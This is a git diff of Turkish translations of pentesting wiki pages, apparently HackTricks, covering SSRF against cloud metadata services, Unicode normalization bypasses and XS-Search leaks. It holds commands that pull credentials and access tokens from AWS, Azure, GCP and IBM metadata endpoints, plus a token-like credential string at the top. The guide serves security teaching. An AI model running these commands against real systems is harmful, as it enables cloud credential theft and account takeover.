AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` -Dikkat edin **aws_session_token**, bu profilin çalışması için vazgeçilmezdir. +Dikkat edin, **aws_session_token**, profilin çalışması için vazgeçilmezdir. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) keşfedilen kimlik bilgileri ile ayrıcalıklarınızı öğrenmek ve ayrıcalıkları artırmaya çalışmak için kullanılabilir. -### AWS ECS (Konteyner Servisi) kimlik bilgilerinde SSRF +### AWS ECS (Konteyner Servisi) kimlik bilgileri üzerindeki SSRF **ECS**, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS**'de çalışan bir hizmeti ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**. _**http://169.254.170.2/v2/credentials/\**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\**'yi bulmanız gerekiyor. \’yi bulmak için makine içindeki **environ** değişkeni **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**'yi okumanız gerekiyor.\ -Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** istismar ederek okuyabilirsiniz.\ -Bahsedilen http adresi size **AccessKey, SecretKey ve token** vermelidir. +Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** kullanarak okuyabilirsiniz.\ +Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı vermelidir. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` @@ -118,7 +118,7 @@ Bu durumda **kimlik bilgileri env değişkenlerinde** saklanmaktadır. Bu nedenl Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları **başlatıldığında fonksiyona iletilen olay verilerine** de sahiptir. Bu veriler, [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) aracılığıyla fonksiyona sunulur ve **hassas** **bilgiler** (örneğin **stageVariables** içinde) içerebilir. IAM kimlik bilgilerinin aksine, bu verilere standart SSRF üzerinden **`http://localhost:9001/2018-06-01/runtime/invocation/next`** adresinden erişilebilir. > [!WARNING] -> **Lambda kimlik bilgileri** env değişkenlerinin içindedir. Bu nedenle, lambda kodunun **stack trace**'i env değişkenlerini yazdırıyorsa, uygulamada bir hata provok ederek **sızdırılması** mümkündür. +> **Lambda kimlik bilgileri** env değişkenlerinin içindedir. Bu nedenle, lambda kodunun **stack trace**'i env değişkenlerini yazdırıyorsa, uygulamada bir hata provok ederek **onları dışarı sızdırmak** mümkündür. ### AWS Elastic Beanstalk için SSRF URL'si @@ -141,7 +141,7 @@ Sonra kimlik bilgilerini `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID] ### Google Cloud için SSRF URL'si -**`Metadata-Flavor: Google`** HTTP başlığını gerektirir ve metadata uç noktasına aşağıdaki URL'lerle erişebilirsiniz: +**`Metadata-Flavor: Google`** HTTP başlığını gerektirir ve aşağıdaki URL'lerle metadata uç noktasına erişebilirsiniz: - http://169.254.169.254 - http://metadata.google.internal @@ -271,7 +271,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo ``` ### Cloud Functions -Metadata uç noktası, bazı uç noktalar olmadan VM'lerdeki gibi çalışır: +Metadata uç noktası, VM'lerdeki gibi çalışır ancak bazı uç noktalar olmadan: ```bash # /project # Project name and number @@ -299,9 +299,9 @@ done ## Digital Ocean > [!WARNING] -> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yoktur, bu yüzden bot kimlik bilgilerini bulmayı beklemeyin. +> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yoktur, bu yüzden metadata bot kimlik bilgilerini bulmayı beklemeyin. -Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) +Dokümantasyon [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) adresinde mevcuttur. ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json @@ -317,21 +317,21 @@ curl http://169.254.169.254/metadata/v1.json | jq ### Azure VM -[**Belgeler** burada](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). +[**Docs** burada](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). -- **Şu** başlığı içermelidir `Metadata: true` +- **Şu** başlığı içermelidir: `Metadata: true` - **X-Forwarded-For** başlığını **içermemelidir** > [!TIP] -> Bir Azure VM, 1 sistem yönetilen kimlik ve birkaç kullanıcı yönetilen kimlik ile ilişkilendirilebilir. Bu, temelde bir VM'ye bağlı **tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir. +> Bir Azure VM, 1 sistem yönetilen kimlik ve birkaç kullanıcı yönetilen kimlik ile ilişkilendirilebilir. Bu, temelde bir VM'ye **bağlı tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir. > -> **Varsayılan** olarak, metadata uç noktası **sistem atanan MI'yi (varsa)** kullanacaktır. +> Metadata uç noktasına erişim token'ı talep ederken, varsayılan olarak metadata servisi, eğer varsa **sistem atanan yönetilen kimliği** kullanarak token'ı oluşturur. Eğer sadece **BİR kullanıcı atanan yönetilen kimlik** varsa, bu varsayılan olarak kullanılacaktır. Ancak, eğer sistem atanan yönetilen kimlik yoksa ve **birden fazla kullanıcı atanan yönetilen kimlik** varsa, metadata servisi, birden fazla yönetilen kimlik olduğunu belirten bir hata döndürecektir ve **hangi kimliği kullanacağınızı belirtmeniz gerekecektir**. > -> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım. +> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım, bu nedenle bir Red Team perspektifinden bir VM'ye atanan tüm yönetilen kimlikleri bulmak zor bir görev olabilir. > -> Bu nedenle, tüm bağlı MI'leri bulmak için şunları yapabilirsiniz: +> Bu nedenle, bağlı tüm MI'leri bulmak için şunları yapabilirsiniz: > -> - **az cli** ile **bağlı kimlikleri alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz) +> - **az cli ile bağlı kimlikleri alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz) > > ```bash > az vm identity show \ @@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq > ``` > [!CAUTION] -> Token isteklerinde kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**belgeler**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**. +> Token taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**. {{#tabs}} {{#tab name="Bash"}} @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -426,7 +439,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] -> Token isteklerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**. +> Token isteklerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**. {{#tabs}} {{#tab name="Bash"}} @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -511,7 +524,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ## IBM Cloud > [!WARNING] -> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile buna erişemeyebilirsiniz. +> IBM'de varsayılan olarak meta verilerin etkin olmadığını unutmayın, bu nedenle bir IBM bulut VM'sinin içinde olsanız bile ona erişemeyebilirsiniz. ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ @@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -Aşağıda, çeşitli platformların metadata hizmetleri için belgeleri, yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulayarak özetlenmiştir. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunar. +Aşağıda çeşitli platformların metadata hizmetleri için belgeleri özetlenmiştir; bu belgeler, örneklerin yapılandırma ve çalışma zamanı bilgilerine erişim yöntemlerini vurgulamaktadır. Her platform, metadata hizmetlerine erişim için benzersiz uç noktalar sunmaktadır. ## Packetcloud @@ -543,13 +556,13 @@ Packetcloud'un metadata'sına erişim için belgeler şurada bulunabilir: [https ## OpenStack/RackSpace -Bir başlık gerekliliği burada belirtilmemiştir. Metadata şu şekilde erişilebilir: +Bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu şekilde erişilebilir: - `http://169.254.169.254/openstack` ## HP Helion -Burada da bir başlık gerekliliği belirtilmemiştir. Metadata şu adresten erişilebilir: +Burada da bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adresten erişilebilir: - `http://169.254.169.254/2009-04-04/meta-data/` @@ -564,7 +577,7 @@ Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sa ## Alibaba -Alibaba, örnek ve görüntü kimliklerine erişim için uç noktalar sunar: +Alibaba, örnek ve görüntü kimlikleri de dahil olmak üzere metadata'ya erişim için uç noktalar sunar: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` @@ -579,7 +592,7 @@ Kubernetes ETCD, API anahtarları, dahili IP adresleri ve portlar tutabilir. Eri ## Docker -Docker metadata'sına yerel olarak erişilebilir, konteyner ve görüntü bilgilerini alma örnekleri verilmiştir: +Docker metadata'sına yerel olarak erişilebilir; konteyner ve görüntü bilgilerini alma örnekleri verilmiştir: - Docker soketi aracılığıyla konteynerler ve görüntüler metadata'sına erişim için basit bir örnek: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 5512d73b6..9318250dc 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -9,16 +9,16 @@ Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle çalışırken kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar: 1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahip olduklarında kanonik olarak eşdeğer kabul edilir. -2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir. +2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği, ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir. **Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz. -### Unicode Kodlama Üzerine Ana Noktalar +### Unicode Kodlama Üzerine Anahtar Noktalar -Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla uğraşırken çok önemlidir. İşte ana noktalar: +Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla başa çıkarken çok önemlidir. İşte ana noktalar: - **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembole "kod noktası" olarak bilinen bir sayısal değer atanır. -- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar. +- **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla baytla temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar. - **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği ve diğer karakterler için dört bayta kadar kullanılan yaygın bir kodlama standardıdır. - **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olması gerekir. - **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır. @@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### Keşif -Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştirilmektedir. +Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştiriliyor demektir. Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` **unicode** sonrasında `Leonishan` olur. @@ -93,9 +93,9 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir. -Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın. +[**recollapse**](https://github.com/0xacb/recollapse) arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın. -## Unicode Taşması +## Unicode Overflow Bu [blogdan](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), bir baytın maksimum değeri 255'tir, eğer sunucu savunmasızsa, belirli ve beklenmedik bir ASCII karakteri üretmek için bir taşma oluşturulabilir. Örneğin, aşağıdaki karakterler `A`'ya dönüştürülecektir: diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 3d0f5fcc9..753a07c13 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -XS-Search, **yan kanal zafiyetlerini** kullanarak **çapraz kaynak bilgilerini** **çıkarma** yöntemi olarak kullanılır. +XS-Search, **yan kanal zafiyetlerini** kullanarak **çapraz köken bilgilerini** **çıkarmak için** kullanılan bir yöntemdir. Bu saldırıda yer alan ana bileşenler şunlardır: @@ -20,40 +20,40 @@ Bu saldırıda yer alan ana bileşenler şunlardır: Zayıf Web'in durumlarını ayırt etmek için analiz edilebilecek birkaç yön vardır: - **Durum Kodu**: **Çeşitli HTTP yanıt durum kodları** arasında ayırt etme, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi. -- **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** belirleme, çapraz kaynak bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma. -- **Yönlendirmeler**: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenleri de. -- **Sayfa İçeriği**: **HTTP yanıt gövdesindeki** veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin **gömülü çerçeve sayısı** veya resimlerdeki boyut farklılıkları. +- **API Kullanımı**: Sayfalar arasında **Web API'lerinin kullanımını** belirleme, çapraz köken bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma. +- **Yönlendirmeler**: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenler. +- **Sayfa İçeriği**: **HTTP yanıt gövdesindeki** veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin **gömülü çerçevelerin sayısı** veya resimlerdeki boyut farklılıkları. - **HTTP Başlığı**: **Belirli bir HTTP yanıt başlığının** varlığını veya muhtemel değerini not etme, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıklar dahil. - **Zamanlama**: İki durum arasındaki tutarlı zaman farklılıklarını fark etme. ### Dahil Etme Yöntemleri -- **HTML Elemanları**: HTML, **çapraz kaynak dahil etme** için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcının HTML dışı bir kaynağı talep etmesini zorunlu kılar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir. +- **HTML Elemanları**: HTML, **çapraz köken kaynak dahil etme** için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcıyı HTML dışı bir kaynağı talep etmeye zorlar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks) adresinde bulunabilir. - **Çerçeveler**: **iframe**, **object** ve **embed** gibi elemanlar, HTML kaynaklarını doğrudan saldırganın sayfasına gömebilir. Eğer sayfa **çerçeve korumasından yoksunsa**, JavaScript, içerikWindow özelliği aracılığıyla çerçevelenmiş kaynağın pencere nesnesine erişebilir. - **Açılır Pencereler**: **`window.open`** yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar, JavaScript'in SOP'ye uygun olarak yöntemler ve özelliklerle etkileşimde bulunması için bir **pencere tutamacı** sağlar. Açılır pencereler, genellikle tek oturum açma işlemlerinde kullanılır, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını aşar. Ancak, modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemleriyle sınırlamaktadır. -- **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, HTTP yönlendirmelerini takip etme gibi isteği hassas bir şekilde kontrol etme imkanı sunar. +- **JavaScript İstekleri**: JavaScript, **XMLHttpRequests** veya **Fetch API** kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, isteği takip etme gibi isteğin üzerinde hassas kontrol sağlar. ### Sızıntı Teknikleri - **Olay İşleyici**: XS-Leaks'teki klasik bir sızıntı tekniği, **onload** ve **onerror** gibi olay işleyicilerin kaynak yükleme başarısı veya başarısızlığı hakkında bilgi sağlamasıdır. - **Hata Mesajları**: JavaScript istisnaları veya özel hata sayfaları, ya doğrudan hata mesajından ya da varlığı ve yokluğu arasındaki farkı ayırt ederek sızıntı bilgisi sağlayabilir. - **Küresel Sınırlar**: Bir tarayıcının fiziksel sınırlamaları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşik aşıldığında sinyal verebilir ve sızıntı tekniği olarak hizmet edebilir. -- **Küresel Durum**: Tarayıcıların **küresel durumları** (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki **giriş sayısı**, çapraz kaynak sayfalar hakkında ipuçları verebilir. -- **Performans API'si**: Bu API, **mevcut sayfanın performans detaylarını** sağlar, belgeler ve yüklenen kaynaklar için ağ zamanlaması dahil, talep edilen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar. -- **Okunabilir Nitelikler**: Bazı HTML nitelikleri **çapraz kaynak olarak okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasında çapraz kaynak olarak dahil edilen çerçeveleri saymasına olanak tanır. +- **Küresel Durum**: Tarayıcıların **küresel durumları** (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki **giriş sayısı**, çapraz köken sayfalar hakkında ipuçları verebilir. +- **Performans API'si**: Bu API, **mevcut sayfanın performans detaylarını** sağlar, belgenin ve yüklenen kaynakların ağ zamanlamasını içerir, talep edilen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar. +- **Okunabilir Özellikler**: Bazı HTML özellikleri **çapraz köken okunabilir** ve sızıntı tekniği olarak kullanılabilir. Örneğin, `window.frame.length` özelliği, JavaScript'in bir web sayfasında çapraz köken olarak dahil edilen çerçeveleri saymasına olanak tanır. ## XSinator Aracı ve Makalesi -XSinator, **birçok bilinen XS-Leaks'e karşı tarayıcıları kontrol etmek için otomatik bir araçtır** ve makalesinde açıklanmıştır: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) +XSinator, **birçok bilinen XS-Leaks'i** kontrol etmek için otomatik bir araçtır ve makalesinde açıklanmıştır: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf) -Araca **şu adresten erişebilirsiniz** [**https://xsinator.com/**](https://xsinator.com/) +Araca **şu adresten erişebilirsiniz**: [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **Hariç Tutulan XS-Leaks**: XSinator'daki diğer sızıntılarla çelişeceği için **hizmet çalışanlarına** dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de **hariç tutmayı** seçtik. Örneğin, Cross-Origin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntısı veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk. +> **Hariç Tutulan XS-Leaks**: XSinator'daki diğer sızıntılarla çelişeceği için **hizmet çalışanlarına** dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de **hariç tutmayı** seçtik. Örneğin, CrossOrigin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk. ## **Zaman Tabanlı Teknikler** -Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etme sürecinin bir parçası olarak zaman kullanacaktır. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır. +Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etmek için zaman kullanacak. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır. **Saatler**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API'si, geliştiricilerin yüksek çözünürlüklü zaman ölçümleri almasına olanak tanır.\ Saldırganların örtük saatler oluşturmak için kötüye kullanabileceği önemli sayıda API vardır: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasyonları ve diğerleri.\ @@ -66,7 +66,7 @@ Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks] - **Dahil Etme Yöntemleri**: Çerçeveler, HTML Elemanları - **Tespit Edilebilir Farklılık**: Durum Kodu - **Daha fazla bilgi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) -- **Özet**: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklendiğinde tetiklenir; durum kodunu belirlemek mümkündür. +- **Özet**: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklendiğinde tetiklenir, durum kodunu anlamak mümkündür. - **Kod örneği**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)]() {{#ref}} @@ -111,7 +111,7 @@ 